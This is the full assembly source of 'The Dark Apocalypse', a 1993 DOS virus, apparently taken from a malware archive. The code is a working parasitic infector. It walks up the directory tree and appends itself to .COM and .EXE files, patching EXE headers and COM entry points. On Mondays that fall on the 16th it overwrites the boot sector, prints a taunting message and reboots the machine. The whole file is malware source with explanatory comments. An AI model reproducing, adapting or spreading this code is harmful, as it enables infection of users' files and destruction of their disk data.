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Assembly Source File | 1998-01-14 | 17.4 KB | 561 lines

;**************************************************************************** ;* The Dark Apocalypse * ;* (C)1993 by Crypt Keeper ∙∙RoT∙∙ * ;**************************************************************************** ;Parasitic Non-Resident .COM and .EXE infector ;Activation : Monday 16th (Fri 13, Sat 14, Sun 15, ...) ;This virus is a parasitic infector of .COM and .EXE files and is traversal ;(infects more than the directory it is in) using the "CD .." method. It ;infects files by appending to the end. It triggers on any Monday 16th, ;replacing the boot sector with code to reboot the machine. ;COMMAND.COM is never infected. CODE SEGMENT ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE VTOP EQU $ ;Top of virus code ;Equates -------------------------------------------------------------------- VLENGTH EQU VBOT-VTOP ;Length of virus in bytes MAXINF EQU 3 ;Max files to infect in each directory VLPARA EQU (VLENGTH/16)+1 ;Virus length in paragraphs IDWORD EQU 0FFEEh ;ID word (for EXE files) ;---------------------------------------------------------------------------- LEA AX,[BP+(OFFSET(STACK1)+64)] ;Get stack pointer MOV SP,AX CALL GETDELTA GETDELTA: POP BP SUB BP,OFFSET(GETDELTA) ;Find delta offset PUSH DS PUSH ES ;Save original segment regs (EXE) PUSH CS POP DS PUSH CS POP ES ;Set up new segments CLD ;Clear direction flag LEA SI,[BP+OFFSET(ORIGBYT)] LEA DI,[BP+OFFSET(OLD_OB)] MOV CX,BCLEN REP MOVSB ;Shadow saved bytes into buffer LEA SI,[BP+OFFSET(ORIG_IP)] LEA DI,[BP+OFFSET(ORIGIP)] MOV CX,4 REP MOVSW ;Shadow EXE header information MOV AH,2Ah ;Get date INT 21h CMP AL,1 ;Monday? JNE NOTRIGGER ;If not, don't trigger CMP DL,16 ;The 16th? JNE NOTRIGGER ;If not, don't trigger MOV AH,19h ;Get default drive INT 21h LEA BX,[BP+OFFSET(REBOOTCOD)] ;Offset of reboot code MOV CX,1 ;Number of sectors to write XOR DX,DX ;Start at absolute sector 0 INT 26h ;Absolute disk write JC WRITE_ERROR ;Skip POPF if error POPF ;Pop flags (after INT 26h return) WRITE_ERROR: LEA DX,[BP+OFFSET(MESSAGE)] ;Display message MOV AH,9 ;Print string INT 21h INT 05h ;Print screen XOR AH,AH ;Read keyboard INT 16h ;BIOS keyboard interrupt JMP REBOOTCOD ;Reboot the machine NOTRIGGER: LEA SI,[BP+OFFSET(ORIGDIR)] ;Save original directory name XOR DL,DL ;from current drive MOV AH,47h ;Get current directory INT 21h DIRSCAN: LEA SI,[BP+OFFSET(OLDDIR)] ;Save old directory name XOR DL,DL ;from current drive MOV AH,47h ;Get current directory INT 21h MOV AX,WORD PTR [BP+OFFSET(OLDDIR)] ;Get first 2 bytes of old DIR CMP AX,'\' ;Root directory? JE NOMORE_DIRS ;If so, end scan MOV DL,[BP+OFFSET(COMID)] PUSH DX ;Save COM ID CALL INFECT ;Attempt to infect files in directory POP DX MOV [BP+OFFSET(COMID)],DL ;Restore COM ID LEA DX,[BP+OFFSET(CHDIR)] ;Offset of directory name MOV AH,3Bh ;Change current directory INT 21h JC NOMORE_DIRS ;If error, end scan JMP SHORT DIRSCAN NOMORE_DIRS: LEA DX,[BP+OFFSET(ORIGDIR)] ;Reset original directory MOV AH,3Bh ;Change current directory INT 21h MOV DL,0FFh CMP [BP+OFFSET(COMID)],DL ;Is this a .COM file JE RET_COM ;If so, execute .COM file return MOV AH,51h ;Get PSP adress INT 21h ADD BX,16 ;Compensate for PSP size POP ES POP DS ;Restore original ES and DS from EXE CLI ;Clear interrupts for stack change MOV AX,CS:[BP+OFFSET(ORIGSP)] MOV SP,AX MOV AX,CS:[BP+OFFSET(ORIGSS)] ADD AX,BX ;Find segment for SS MOV SS,AX ;Reset original EXE stack STI ADD CS:[BP+OFFSET(ORIGCS)],BX ;Find segment for CS JMP DWORD PTR CS:[BP+OFFSET(ORIGIP)] ;Far jump to original EXE code RET_COM: POP AX POP AX ;Get "EXE stuff" off stack LEA SI,[BP+OFFSET(OLD_OB)] ;Original bytes from .COM file MOV DI,100h ;Put at .COM entry point MOV CX,BCLEN ;Move length of original bytes REP MOVSB ;Replace bytes of original .COM file MOV AX,100h PUSH AX RET ;Jump to original .COM code INFECT: MOV AH,2Fh ;Get disk transfer adress INT 21h MOV [BP+OFFSET(OLDDTAS)],ES MOV [BP+OFFSET(OLDDTAO)],BX ;Old disk transfer adress PUSH CS POP ES LEA DX,[BP+OFFSET(NEWDTA)] ;New disk transfer adress MOV AH,1Ah ;Set disk transfer adress INT 21h FINDEXE: XOR SI,SI ;Zero counter MOV CX,4 ;Search for all normal files LEA DX,[BP+OFFSET(SSPEC1)] ;Search for *.EXE MOV AH,4Eh ;Find first file INT 21h JNC DISEASE_EXE ;Carry set means no more .EXE files JMP NOMORE_EXE FIND_NEXT_EXE: MOV AH,4Fh ;Find next file INT 21h JNC DISEASE_EXE ;Carry set means no more .EXE files JMP NOMORE_EXE DISEASE_EXE: XOR CX,CX ;Set attributes to normal LEA DX,[BP+OFFSET(FNAME)] ;on file to infect MOV AX,4301h ;Set file atttibutes INT 21h MOV AX,3D02h ;Open file for READ/WRITE access INT 21h MOV [BP+OFFSET(THANDLE)],AX ;File handle MOV BX,AX MOV CX,28 ;Read 28 bytes (EXE header) LEA DX,[BP+OFFSET(EXEHEADER)] ;Exe header buffer MOV AH,3Fh ;Read file or device INT 21h MOV AX,IDWORD CMP [BP+OFFSET(SSSP)],AX ;Is EXE already infected? JNE GO_AHEAD_INFECT ;If not, go ahead JMP END_EXE_INFECTION ;If so, end routine GO_AHEAD_INFECT: XOR AX,AX MOV [BP+OFFSET(COMID)],AL ;Zero .COM ID field PUSH SI ;Save counter LES SI,[BP+OFFSET(CSIP)] ;Get CS:IP from EXE header MOV [BP+OFFSET(ORIG_IP)],SI MOV [BP+OFFSET(ORIG_CS)],ES ;Set fields in virus code LES SI,[BP+OFFSET(SSOFS)] ;Get SP:SS (reversed) from EXE header MOV [BP+OFFSET(ORIG_SP)],ES MOV [BP+OFFSET(ORIG_SS)],SI ;Set fields in virus code POP SI ;Restore counter PUSH CS POP ES XOR CX,CX XOR DX,DX ;Move file pointer zero bytes MOV AX,4202h ;Move to end of file INT 21h MOV CX,16 DIV CX ;Divide file size by 16 (paragraph) PUSH AX SUB AX,[BP+OFFSET(HEADSIZ)] ;Subtract header size from paragraphs POP CX CMP AX,CX JA END_EXE_INFECTION ;If file too small, end infection MOV [BP+OFFSET(CSIP)],DX MOV [BP+OFFSET(CSOFS)],AX ;Set CS:IP in EXE header MOV [BP+OFFSET(SSOFS)],AX MOV CX,0FFEEh MOV [BP+OFFSET(SSSP)],CX ;Set SS:SP in EXE header MOV CX,VLPARA ADD [BP+OFFSET(MINMEM)],CX ;Add virus size in paragraphs to minmem MOV AX,[BP+OFFSET(ID_WORD)] ;Get ID word from EXE header CMP AX,'MZ' JE EXE_OK CMP AX,'ZM' JE EXE_OK ;If a true EXE file, go ahead JMP SHORT END_EXE_INFECTION ;If not (misnamed COM), end infection EXE_OK: MOV BX,[BP+OFFSET(THANDLE)] ;Handle of target file MOV CX,VLENGTH ;Write virus length in bytes MOV DX,BP ;BP=Start of virus code MOV AH,40h ;Write file or device INT 21h XOR CX,CX XOR DX,DX ;Move file pointer zero bytes MOV AX,4202h ;Move to end of file INT 21h MOV CX,512 ;Divide by 512 bytes (page) DIV CX CMP DX,00h JE GO_AHEAD_SET ;If no remainder, go ahead and set INC AX ;Add another page (last page) GO_AHEAD_SET: MOV [BP+OFFSET(TOTPAGE)],AX MOV [BP+OFFSET(LAST512)],DX ;Set new EXE file size CALL SEEKZERO ;Seek to position zero in file MOV CX,28 ;Length of EXE header LEA DX,[BP+OFFSET(EXEHEADER)] ;Offset of header data MOV AH,40h ;Write file or device INT 21h INC SI ;Increment counter END_EXE_INFECTION: MOV BX,[BP+OFFSET(THANDLE)] ;Handle of target file MOV AH,3Eh ;Close file with handle INT 21h CALL RESET_ATTR ;Reset original attributes CMP SI,MAXINF ;Maximum counter reached? JNE FNE ;If so, end all searches for directory JMP NOMORE_FILES FNE: JMP FIND_NEXT_EXE ;Find next file RESET_ATTR: MOV CX,[BP+OFFSET(ATTRIB)] ;Reset old attributes LEA DX,[BP+OFFSET(FNAME)] ;on file just infected MOV AX,4301h ;Set file attributes INT 21h RET ;Return to caller SEEKZERO: XOR CX,CX XOR DX,DX ;Change offset = 0 MOV AX,4200h ;Move from beginning of file INT 21h RET ;Return to caller NOMORE_EXE: MOV CX,4 ;Search for all normal files LEA DX,[BP+OFFSET(SSPEC2)] ;Search for *.COM MOV AH,4Eh ;Find first file INT 21h JNC DISEASE_COM ;Carry set means error JMP NOMORE_FILES FIND_NEXT_COM: MOV AH,4Fh ;Find next file INT 21h JNC DISEASE_COM ;Carry set means error JMP NOMORE_FILES DISEASE_COM: XOR CX,CX ;Set attributes to normal LEA DX,[BP+OFFSET(FNAME)] ;on file to infect MOV AX,4301h ;Set file atttibutes INT 21h PUSH SI ;Save counter MOV SI,DX LEA DI,[BP+OFFSET(CS2)] ;Compare with "COMMAND.COM" MOV CX,12 ;11 bytes to compare REPE CMPSB ;Repeat until not equal POP SI ;Restore counter CMP CX,0 ;All characters match? JE END_COM_INFECTION ;If so, end infection routine MOV AX,3D02h ;Open file for READ/WRITE access INT 21h MOV BX,AX MOV CX,2 ;Read one word of data LEA DX,[BP+OFFSET(CHKBUF)] ;Buffer for word to check MOV AH,3Fh ;Read file or device INT 21h MOV AX,[BP+OFFSET(CHKBUF)] CMP AX,'MZ' JE END_COM_INFECTION CMP AX,'ZM' JE END_COM_INFECTION ;End infection if misnamed .EXE CMP AX,WORD PTR [BP+OFFSET(BRANCH)] ;Compare with start of branch code JE END_COM_INFECTION ;End infection if already infected CALL SEEKZERO ;Seek to position zero in file MOV CX,BCLEN ;Length of branch code LEA DX,[BP+OFFSET(ORIGBYT)] ;Save original bytes from COM file MOV AH,3Fh ;Read file or device INT 21h XOR CX,CX XOR DX,DX ;Move file pointer zero bytes MOV AX,4202h ;Move to end of file INT 21h ADD AX,100h ;Compensate for PSP MOV [BP+OFFSET(VOFFSET)],AX ;Store virus offset in repeat code XOR AX,AX MOV [BP+OFFSET(COMID)],AH ;Zero .COM ID field MOV CX,VLENGTH MOV DX,BP ;Delta offset = start of code MOV AH,40h ;Write file or device INT 21h CALL SEEKZERO ;Seek to position zero MOV CX,BCLEN ;Length of branch code LEA DX,[BP+OFFSET(BRANCH)] ;Write branch code MOV AH,40h ;Write file or device INT 21h INC SI ;Increment counter END_COM_INFECTION: MOV AH,3Eh ;Close file with handle INT 21h CALL RESET_ATTR ;Reset original attributes CMP SI,MAXINF ;Maximum counter reached? JE NOMORE_FILES ;If so, end all searches for directory JMP FIND_NEXT_COM ;Find next .COM file NOMORE_FILES: LDS DX,[BP+OFFSET(OLDDTAO)] ;Get old disk transfer adress MOV AH,1Ah ;Set disk transfer adress INT 21h PUSH CS POP DS RET ;Return to caller ;Reboot code ---------------------------------------------------------------- REBOOTCOD: MOV AX,0040h MOV DS,AX MOV BX,1234h MOV WORD PTR DS:[0072h],BX ;Warm reboot DB 0EAh DW 0 DW 0FFFFh ;JMP FFFF:0000 (hard coded) ;Branch code ---------------------------------------------------------------- BCTOP EQU $ ;Top of branch code BRANCH: XOR BP,DI ;Marker instruction DB 0BBh ;MOV BX, VOFFSET DW 0 ;Offset of viral code MOV DI,OFFSET(COMID) ADD DI,BX ;Calculate location of COM id MOV AL,0FFh STOSB ;Set COM file flag PUSH BX RET ;Jump to virus code BCBOT EQU $ ;Bottom of branch code BCLEN EQU BCBOT-BCTOP ;Length of branch code ;Data ----------------------------------------------------------------------- CS2 DB 'COMMAND.COM',0 ;File to replace with reboot code DB 0FFh CHDIR DB '..',0 ;Change directory string MESSAGE DB 13,10 DB 'Welcome to the Dark Apocalypse... Your computer will',13,10 DB 'never escape... You might as well read this and weep!',13,10 DB 13,10 DB 'The Dark Apocalypse v1.00 by Crypt Keeper [RoT]',13,10 DB '∙··Reign of Terror··∙ [DARK APOCALYPSE]',13,10 DB 13,10 DB 'Press any key to continue...$' ORIG_IP DW 0 ORIG_CS DW 0 ORIG_SS DW 0 ORIG_SP DW 0 ;Original segments/pointers from EXEHDR SSPEC1 DB '*.EXE',0 SSPEC2 DB '*.COM',0 ;Search specs ORIGBYT DB 0CDh DB 20h ;For proper .COM return to DOS DB BCLEN-2 DUP ('!') ;Buffer for saved bytes from .COM files COMID DB 0FFh ;ID byte set to 0FFh by branch if .COM ;---------------------------------------------------------------------------- VBOT EQU $ ;Bottom of virus code ;Heap ----------------------------------------------------------------------- ORIGIP DW 0 ORIGCS DW 0 ORIGSS DW 0 ORIGSP DW 0 ;Shadowed EXEHDR information EXEHEADER: ID_WORD DW 0 ;ID word (ZM or MZ) LAST512 DW 0 ;Number of bytes in last 512 byte page TOTPAGE DW 0 ;Total number of pages in file SEGENTS DW 0 ;Number of entries in segment table HEADSIZ DW 0 ;Size of header in paragraphs MINMEM DW 0 ;Minimum memory in paragraphs MAXMEM DW 0 ;Maximum memory in paragraphs SSOFS DW 0 ;Offset of SS from header (paragraphs) SSSP DW 0 ;Stack pointer offset NEGCHK DW 0 ;Negative checksum (ignored by DOS) CSIP DW 0 ;Offset of IP from CS (bytes) CSOFS DW 0 ;Offset of CS from header (paragraphs) RELOFS DW 0 ;Offset of relocation table from loc 0 OVLNUM DW 0 ;Overlay number (ignored) CHKBUF DW 0 ;Buffer for infection check (COM files) VSEG DW 0 ;Segment of virus in RAM THANDLE DW 0 ;File handle OLDDIR DB 70 DUP ('?') ;Buffer for old directory name ORIGDIR DB 70 DUP ('?') ;Buffer for original directory name OLDDTAO DW 0 OLDDTAS DW 0 ;Old disk transfer adress OLD_OB DB BCLEN DUP ('%') ;Buffer for shadow of old original code STACK1 DB 64 DUP ('S') ;Stack NEWDTA: DB 21 DUP (' ') ;Reserved ATTRIB DB 0 ;Attributes of found file FTIME DW 0 ;Time of last write FDATE DW 0 ;Date of last write FSIZE DD 0 ;File size FNAME DB 13 DUP ('?') ;File name ;---------------------------------------------------------------------------- CODE ENDS END